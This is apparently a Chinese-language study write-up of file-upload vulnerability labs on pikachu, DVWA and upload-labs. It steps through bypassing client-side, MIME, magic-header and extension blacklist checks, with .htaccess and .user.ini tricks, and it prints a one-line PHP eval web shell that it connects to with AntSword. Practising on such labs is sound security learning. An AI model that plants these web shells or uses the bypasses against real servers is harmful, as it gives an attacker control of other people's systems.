概念
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
(pikachu)靶场
clientcheck
- 尝试
选择除了图片之外的文件都被限制上传 - 分析过滤位置(前端 or 后端)
审计前端代码
原来是在前端用 js 做了限制喔 - onchange 事件
参考 https://www.runoob.com/jsref/event-onchange.html
onchange 事件会在域的内容改变时发生。
onchange 事件也可用于单选框与复选框改变后触发的事件。 - 绕过
- 让我们删除 onchage 事件看看
哈哈,上传成功 - 浏览器禁用 javascript
在浏览器上下一个插件,就可以随意控制 js 的开关,反正咱们的文件受限制最主要原因就是 js 代码,关掉 js,它难道还能过滤? - Burp 抓包修改
先明确咱们的目的:将 php 文件上传到指定文件夹,之后用中国蚁剑进行连接,获取文件管理查看权限
分析问题:前端 js 代码对文件格式进行了限制,只能使用图片
解决问题:它上传文件分成两步,先选择,再上传,js 只在选择过程进行作用。我们可以先使用 jpg 格式上传蒙蔽它,在上传的时候抓包,更改文件格式为 php 即可!
MIME type
- 源码分析
if (isset (_POST['submit'])){ // var_dump(_FILES);
$mime=array (‘image/jpg’,‘image/jpeg’,‘image/png’);// 指定 MIME 类型,这里只是对 MIME 类型做了判断。
$save_path=‘uploads’;// 指定在当前目录建立一个目录
mime,upload[‘return’]){
html.="文件上传成功
文件保存的路径为:{upload[‘new_path’]}
";
}else{
html.="{upload[‘error’]}
";
}
}
这段代码的意思是只允许上传的文件为三种图片的格式,并且保存至 uoloads 文件夹下,主要是在上传过程中过滤的文件格式 - MIME 类型
参考 https://www.runoob.com/http/mime-types.html
是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
服务器在发送真正的数据之前,就要先发送标志数据的 MIME 类型的信息,这个信息使用 Content-type 关键字进行定义 - upload_sick () 函数
(1)仅检查了 MIME 类型,可以通过抓包修改绕过。
(2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。 - 尝试
之前的分析是正确的,我们在选择文件时并没有对文件格式进行限制,在上传时会报错 - 绕过
- 使用 burp 对 Content-type 的 MIME 类型进行更改
- 使用 burp 对上传的图片进行文件后缀更改,服务器会多出一个无用的图片文件
- 用中国蚁剑进行连接,获取文件管理查看权限
getimagesize
- getimagesize 函数
参考 https://www.runoob.com/php/php-getimagesize.html
用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。 - 源码分析
if (isset ($_POST [‘submit’])){
$type=array (‘jpg’,‘jpeg’,‘png’);// 指定类型
$mime=array (‘image/jpg’,‘image/jpeg’,‘image/png’);
$save_path=‘uploads’.date (’/Y/m/d/’);// 根据当天日期生成一个文件夹
type,save_path);// 调用函数
if ($upload [‘return’]){
html.="文件上传成功
文件保存的路径为:{upload[‘save_path’]}
";
}else{
html.="{upload[‘error’]}
";
}
}
这段代码主要是靠 upload 这个函数的主要作用 - upload 函数
参考 https://www.pudn.com/news/628b055016e0ca71413e2264.html#_MIME_type_99
- 用文件名后缀白名单 $type 过滤后缀名不在白名单中的文件
- 用 MIME type 白名单 $mime 过滤 MIME type 不在白名单中的文件
- 用 getimagesize () 函数来判断是否是真实图片(可以通过图片马绕过)
- 修改文件名为随机值(本来是防止攻击者猜测文件路径的,但是由于网页上回显了文件保存路径,所以这个重命名的步骤显得没有什么卵用了。)
- 绕过
- 文件幻术头
每种类型的图片内容最开头会有一个标志性 的头部,这个头部被称为文件幻术。常用图片类型有以下几类:
1)绕过 jpg 文件幻术检测要在文件开头写上下图的值
Value = FF D8 FF E0 00 10 4A 46 49 46
2)绕过 png 文件幻术检测要在文件开头写上下图的值:
Value = 89 50 4E 47
3)绕过 gif 文件幻术检测要在文件开头写上下图的值:
Value = 47 49 46 38 39 61
GIF89a
这里只有 GIF89a 成功绕过
Q:
本来只允许这三种’jpg’,‘jpeg’,'png’格式图片上传,为啥 gif 类型的也🆗?
A:
maybe 文件类型和后缀名是分开校验的。校验文件类型的函数只校验了是否是图片 (没管是什么类型的图片),而 jpeg 和 png 的校验只校验了后缀名。
中国蚁剑连接:
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/10/09/1254146342be7e1691f536303049.jpg&submit = 提交
结合文件包含漏洞那一关连接上的,在本关这里尝试连接失败 - 结合 burp 和文件幻术头
其实这俩本质差不多,在一句话木马前加入 GIF89a,文件保存成任意格式
Burp 在上传图片时抓包更改 MIME type 和文件后缀名
- 上传图片马
1)文本方式打开,末尾粘贴一句话木马
亲测感觉很容易不小心损坏图片,而且貌似也不能绕过。
2)cmd 中 copy 1.jpg/b+2.php 3.jpg
… 烦躁,不顺利感觉不太靠谱,我明天整理一下思路重新试一试
(DVWA)靶场
low
这一题没啥好说的,很简单,在文件中写入一句话木马,直接上传,蚁剑连接成功
- 查看源码
1 |
|
源码未对文件做任何过滤和检查
medium
上传 php 文件失败了
用 js 屏蔽插件试一试,也失败了,看来不是在前端做过滤
那我抓包看看,发现有 content-type 验证,
改成 image/png 或者 image/jpeg 看看
成功上传,蚁剑连接即可
- 分析源码
1 | if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && |
对文件大小和 content-type 做了验证
high
咩,好烦,我的图片马就是传不上去我真的难受。。。。。
impossible
up-loads
Pass-01
前端过滤(功能写在前端,感觉一切在前端进行安全验证的行为都是不安全的)
- 上传一句话木马文件
失败,只允许上传图片 - 上传时候抓个包看看呗
哦哟,上传操作居然没包,看来这过滤操作八成在前端 - 关闭 js 作用
上传成功 - 蚁剑也很顺利的连接成功
这里可能会有一个问题如何 get 到木马文件上传后的路径,这样才能和蚁剑连接
我们 f12 进行上传操作后,看代码路径
Pass-02
白名单验证
- 上传一句话木马文件
提示:文件类型不正确,请重新上传!
失败,只允许上传图片 - 上传时候抓个包看看呗
很好,看到 content-type
先默认对文件名后缀未进行过滤筛查
将 MIME 类型改为 image/png
放包
bingo,成功!!! - 蚁剑连接
Pass-03
黑名单验证
- 上传一句话木马文件
提示:不允许上传.asp,.aspx,.php,.jsp 后缀文件!
用黑名单不允许上传.asp,.aspx,.php,.jsp 后缀的文件,但可以上传.phtml、 .php3 .php5、php4、 .pht、php1、php2、phps - 有个棘手问题
Q: 传是可以传上去,并且也可以通过源代码查看文件具体位置,但是很棘手的问题就是,这些文件名蚁剑和菜刀连不上去…
A: 首先在页面显示一下 php 文件和 php5 文件,发现 php 文件进行了解析,但是 php5 等一系列均不行,应该是 apache 的解析出来问题
- D:\PhpStudy2018\PHPTutorial\Apache\conf 加上 AddType application/x-httpd-php.php.phtml.php3.php4.php5 重启
很遗憾,我失败了 - 参考 https://www.cnblogs.com/Article-kelp/p/14927087.html
PHPStudy 中 AddType application/x-httpd-php 等 Apache 命令之所以在 Apache 的设置文件中设置后未实现目标效果是由于 PHP 的版本不符导致的,但注意这里的 PHP 版本并不是指 PHP7.3.0、PHP7.4.0 这种版本号,也不是适用于 32 位的 PHP、适用于 64 位的 PHP 这种不同机型的版本,而是 PHP 的 NTS (Non Thread Safe) 与 TS (Thread Safe) 的这种不同版本导致的。
简单来说 TS 版本的 PHP 是更适合与 Apache 配套使用的 (虽然 NTS 版本也能用但是多少有些不足),如果我们想使用在前面说的那些 Apache 设置指令就需要使用 TS 版本的 PHP,但不幸的是 PHPStduy 中提供的均是 NTS 版本的 PHP
解决方案:安装 TS 版本的 PHP,并在 Apache 中配置好相关设置。
让我后续考虑一下…
不想安,可是不安装很影响我后面的测试哎…
安装(php ts) 版本
php 官网:https://www.php.net/
- 去 php 官网下载 php-7.0.6-Win32-VC14-x64
解压如下:
- 在如下图中加入 LoadModule php7_module “D:/phpstudy/Extensions/php/php7.0.6ts/php7apache2_4.dll”
- 将 D:\phpstudy\Extensions\php\php7.0.6ts 中的 php.ini-development 文件改为 php.ini
extension_dir = “D:/phpstudy/Extensions/php/php7.3.4nts/ext”
Pass-04
黑名单验证
“.php”,".php5",".php4",".php3",".php2",“php1”,".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",“pHp1”,".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
- .htaccess 是什么
参考 http://t.csdn.cn/DSdUf
全称是 Hypertext Access (超文本入口) .htaccess 文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。 - .htaccess 功能
文件夹密码保护、用户自定义重定向、自定义 404 页面、扩展名伪静态化、禁止特定 IP 地址的用户、只允许特定 IP 地址的用户、禁止目录列表
很可惜,这么一个强大的功能默认是不开启的 Apache (有伪静态的都可以试试) 、 - 用法
AddType application/x-httpd-php .jpg 这个指令代表着.jpg 文件会当做 php 来解析
SetHandler application/x-httpd-php,意思是把所有文件都解析为 php 文件来执行。 - 绕过
上传.htaccess 解析文件,利用其配置,将白名单文件的类型解析成 php 文件类型。 - 注意
当上传的文件会进行文件改名时,配置文件就没有作用了 - 阅读资料
https://www.cnblogs.com/BOHB-yunying/articles/11148845.html - 第二种思路
看到有博主会使用 apache 解析漏洞
后缀名冗余(未知扩展名)绕过,比如 1.php.aaa
文件内容为 php 代码的未知扩展名文件,会被以 module 方式运行 php 的 apache 解析
不过,重点是我失败了…
Pass-05
- 黑名单过滤
没有转换成小写的函数
strtolower () - 绕过
大小写进行绕过,我看到有博主使用 PHP 也可以绕过,但是我的都不行
上传 Php 文件
居然解析不了,离谱…
Pass-06
- 黑名单过滤
没有去除空格的函数
trim () - 绕过
加上空格进行绕过,抓包修改
蚁剑也可以正确连接
Pass-07
- 黑名单过滤
没有删除文件名末尾的点
deldot () - 绕过
使用文件名后加。进行绕过,抓包修改
蚁剑也可以正确连接
Pass-08
- 黑名单过滤
没有 str_ireplace (’::$DATA’, ‘’, DATA - 绕过
参考 http://t.csdn.cn/6h3Li
在 php+windows 的情况下:如果文件名 +::DATA 之后的数据当成文件流处理,不会检测后缀名,且保持::DATA 绕过,它的作用就是不检查后缀名,例如:“phpinfo.php::DATA 变成 "phpinfo.php"。使用 brup 抓包修改文件后缀为::DATA
蚁剑也可以正确连接
Pass-09
- 黑名单过滤
还剩.ini 文件没过滤 - php.ini
php.ini 是 php 的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
但是想要引发 .user.ini 解析漏洞需要三个前提条件
1 | 服务器脚本语言为PHP |
- 绕过
目录下假设有一个可执行的 php 文件(readme.php)
readme.php
1 | <?php echo('1');?> |
1 | nts是cgi模式,nt就是fastcgi模式 |
- 所以我们可以上传俩文件.user.ini 和 3.png
user.ini
1 | auto_prepend_file=2.png |
3.png
1 | <?php phpinfo();?> |
在线打开 readme.php 文件,成功执行 3.png 文件中的 phpinfo 函数
2. 所以我们可以上传俩文件.user.ini 和 2.png
.user.ini
1 | auto_prepend_file=2.png |
2.png
1 | <?php @eval($_POST['123']);?> |
binggo, 蚁剑成功连接 readme.php(通过 user.ini 执行 2.png 的 php 脚本)
Pass-10
- 黑名单过滤
代码审计一下,发现一个过滤函数
str_ireplace ()
1 | $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); |
- 绕过
使用双写绕过
抓包改成,3.pphphp